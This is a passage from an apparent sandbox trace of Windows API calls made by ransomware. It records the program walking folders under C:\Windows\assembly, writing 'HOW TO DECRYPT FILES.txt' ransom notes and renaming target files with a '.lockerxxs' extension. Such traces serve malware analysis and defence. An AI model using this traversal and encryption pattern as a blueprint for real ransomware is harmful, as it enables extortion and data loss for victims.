ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb93a9930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb93a9930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610058, dwReserved1=0x6c006d, cFileName="XsdBuildTask", cAlternateFileName="XSDBUI~1")) returned 1 [0124.875] lstrcmpA (lpString1=".", lpString2="XsdBuildTask") returned -1 [0124.875] lstrcmpA (lpString1="..", lpString2="XsdBuildTask") returned -1 [0124.875] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0124.875] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="XsdBuildTask" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask" [0124.875] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb93a9930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb93a9930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb93a9930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.902] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.902] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb93a9930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb93a9930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb93a9930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.902] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.902] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.902] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb93a9930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb93a9930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb93a9930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a225b7775368c3a993caa9d57722f9cb", cAlternateFileName="A225B7~1")) returned 1 [0124.902] lstrcmpA (lpString1=".", lpString2="a225b7775368c3a993caa9d57722f9cb") returned -1 [0124.902] lstrcmpA (lpString1="..", lpString2="a225b7775368c3a993caa9d57722f9cb") returned -1 [0124.903] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\*.*") returned="*.*" [0124.903] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\", lpString2="a225b7775368c3a993caa9d57722f9cb" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb" [0124.903] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb93a9930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb93a9930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb93a9930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.903] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.903] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb93a9930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb93a9930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb93a9930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.904] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.904] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.904] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb93a9930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb93a9930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb93cfa90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x30600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="XsdBuildTask.ni.dll", cAlternateFileName="XSDBUI~1.DLL")) returned 1 [0124.904] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.904] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="XsdBuildTask.ni.dll") returned -1 [0124.904] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="XsdBuildTask.ni.dll") returned -1 [0124.904] lstrcmpiA (lpString1="", lpString2="XsdBuildTask.ni.dll") returned -1 [0124.904] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\*.*") returned="*.*" [0124.904] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\" [0124.904] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\") returned="" [0124.904] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\HOW TO DECRYPT FILES.txt" [0124.904] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\xsdbuildtask\\a225b7775368c3a993caa9d57722f9cb\\how to decrypt files.txt")) returned 0xffffffff [0124.904] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\xsdbuildtask\\a225b7775368c3a993caa9d57722f9cb\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0124.911] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0124.911] CloseHandle (hObject=0x90) returned 1 [0124.911] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\", lpString2="XsdBuildTask.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\XsdBuildTask.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\XsdBuildTask.ni.dll" [0124.913] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\XsdBuildTask.ni.dll", pszSpec="*.ems") returned 0 [0124.914] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb93a9930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb93a9930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb93a9930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XsdBuildTask.ni.dll.aux", cAlternateFileName="XSDBUI~1.AUX")) returned 1 [0124.914] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.914] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="XsdBuildTask.ni.dll.aux") returned -1 [0124.914] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="XsdBuildTask.ni.dll.aux") returned -1 [0124.914] lstrcmpiA (lpString1="", lpString2="XsdBuildTask.ni.dll.aux") returned -1 [0124.914] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\XsdBuildTask.ni.dll") returned="XsdBuildTask.ni.dll" [0124.914] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\" [0124.914] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\") returned="" [0124.914] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\HOW TO DECRYPT FILES.txt" [0124.914] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\xsdbuildtask\\a225b7775368c3a993caa9d57722f9cb\\how to decrypt files.txt")) returned 0x20 [0124.915] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\", lpString2="XsdBuildTask.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\XsdBuildTask.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\XsdBuildTask.ni.dll.aux" [0124.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\XsdBuildTask\\a225b7775368c3a993caa9d57722f9cb\\XsdBuildTask.ni.dll.aux", pszSpec="*.ems") returned 0 [0124.915] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb93a9930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb93a9930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb93a9930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XsdBuildTask.ni.dll.aux", cAlternateFileName="XSDBUI~1.AUX")) returned 0 [0124.915] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.915] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb93a9930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb93a9930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb93a9930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="a225b7775368c3a993caa9d57722f9cb", cAlternateFileName="A225B7~1")) returned 0 [0124.915] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.915] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb93a9930, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xb93a9930, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xb93a9930, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610058, dwReserved1=0x6c006d, cFileName="XsdBuildTask", cAlternateFileName="XSDBUI~1")) returned 0 [0124.915] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0124.915] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x409ffc9f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x409ffc9f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61004e, dwReserved1=0x690074, cFileName="PublisherPolicy.tme", cAlternateFileName="PUBLIS~1.TME")) returned 1 [0124.916] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0124.916] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PublisherPolicy.tme") returned -1 [0124.916] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PublisherPolicy.tme") returned -1 [0124.916] lstrcmpiA (lpString1="", lpString2="PublisherPolicy.tme") returned -1 [0124.916] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\*.*") returned="*.*" [0124.916] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\" | out: lpString1="C:\\Windows\\assembly\\") returned="C:\\Windows\\assembly\\" [0124.916] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\" | out: pszPath="C:\\Windows\\assembly\\") returned="" [0124.916] lstrcatA (in: lpString1="C:\\Windows\\assembly\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\HOW TO DECRYPT FILES.txt" [0124.916] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\how to decrypt files.txt")) returned 0x20 [0124.916] lstrcatA (in: lpString1="C:\\Windows\\assembly\\", lpString2="PublisherPolicy.tme" | out: lpString1="C:\\Windows\\assembly\\PublisherPolicy.tme") returned="C:\\Windows\\assembly\\PublisherPolicy.tme" [0124.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\PublisherPolicy.tme", pszSpec="*.ems") returned 0 [0124.916] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x3, ftCreationTime.dwLowDateTime=0xd997e500, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xd997e500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd997e500, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pubpol109.dat", cAlternateFileName="PUBPOL~2.DAT")) returned 1 [0124.916] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0124.916] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="pubpol109.dat") returned -1 [0124.917] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="pubpol109.dat") returned -1 [0124.917] lstrcmpiA (lpString1="", lpString2="pubpol109.dat") returned -1 [0124.917] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\PublisherPolicy.tme") returned="PublisherPolicy.tme" [0124.917] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\" | out: lpString1="C:\\Windows\\assembly\\") returned="C:\\Windows\\assembly\\" [0124.917] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\" | out: pszPath="C:\\Windows\\assembly\\") returned="" [0124.917] lstrcatA (in: lpString1="C:\\Windows\\assembly\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\HOW TO DECRYPT FILES.txt" [0124.917] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\how to decrypt files.txt")) returned 0x20 [0124.917] lstrcatA (in: lpString1="C:\\Windows\\assembly\\", lpString2="pubpol109.dat" | out: lpString1="C:\\Windows\\assembly\\pubpol109.dat") returned="C:\\Windows\\assembly\\pubpol109.dat" [0124.917] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\pubpol109.dat", pszSpec="*.ems") returned 0 [0124.917] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Windows\\assembly\\pubpol109.dat" | out: lpString1="C:\\Windows\\assembly\\pubpol109.dat") returned="C:\\Windows\\assembly\\pubpol109.dat" [0124.917] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Windows\\assembly\\pubpol109.dat" | out: lpString1="C:\\Windows\\assembly\\pubpol109.dat") returned="C:\\Windows\\assembly\\pubpol109.dat" [0124.918] lstrcatA (in: lpString1="C:\\Windows\\assembly\\pubpol109.dat", lpString2="." | out: lpString1="C:\\Windows\\assembly\\pubpol109.dat.") returned="C:\\Windows\\assembly\\pubpol109.dat." [0124.918] lstrcatA (in: lpString1="C:\\Windows\\assembly\\pubpol109.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\assembly\\pubpol109.dat.lockerxxs") returned="C:\\Windows\\assembly\\pubpol109.dat.lockerxxs" [0124.918] CreateFileA (lpFileName="C:\\Windows\\assembly\\pubpol109.dat" (normalized: "c:\\windows\\assembly\\pubpol109.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.919] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df4d1b0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xe968e7e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe968e7e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="temp", cAlternateFileName="")) returned 1 [0124.919] lstrcmpA (lpString1=".", lpString2="temp") returned -1 [0124.919] lstrcmpA (lpString1="..", lpString2="temp") returned -1 [0124.919] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\pubpol109.dat") returned="pubpol109.dat" [0124.919] lstrcatA (in: lpString1="C:\\Windows\\assembly\\", lpString2="temp" | out: lpString1="C:\\Windows\\assembly\\temp") returned="C:\\Windows\\assembly\\temp" [0124.919] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\temp\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df4d1b0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xe968e7e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe968e7e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0124.920] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.920] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df4d1b0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xe968e7e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe968e7e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0124.920] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.920] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.920] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3df4d1b0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xe968e7e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe968e7e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 0 [0124.920] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0124.920] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x409415bd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xe57ec500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe968e7e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650074, dwReserved1=0x70006d, cFileName="tmp", cAlternateFileName="")) returned 1 [0124.920] lstrcmpA (lpString1=".", lpString2="tmp") returned -1 [0124.920] lstrcmpA (lpString1="..", lpString2="tmp") returned -1 [0124.920] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\*.*") returned="*.*" [0124.920] lstrcatA (in: lpString1="C:\\Windows\\assembly\\", lpString2="tmp" | out: lpString1="C:\\Windows\\assembly\\tmp") returned="C:\\Windows\\assembly\\tmp" [0124.920] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\tmp\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x409415bd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xe57ec500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe968e7e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.923] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.923] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x409415bd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xe57ec500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe968e7e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.923] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.923] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.923] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x409415bd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xe57ec500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe968e7e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0124.923] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.923] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x409415bd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xe57ec500, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe968e7e0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650074, dwReserved1=0x70006d, cFileName="tmp", cAlternateFileName="")) returned 0 [0124.923] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0124.923] FindNextFileA (in: hFindFile=0x502558, 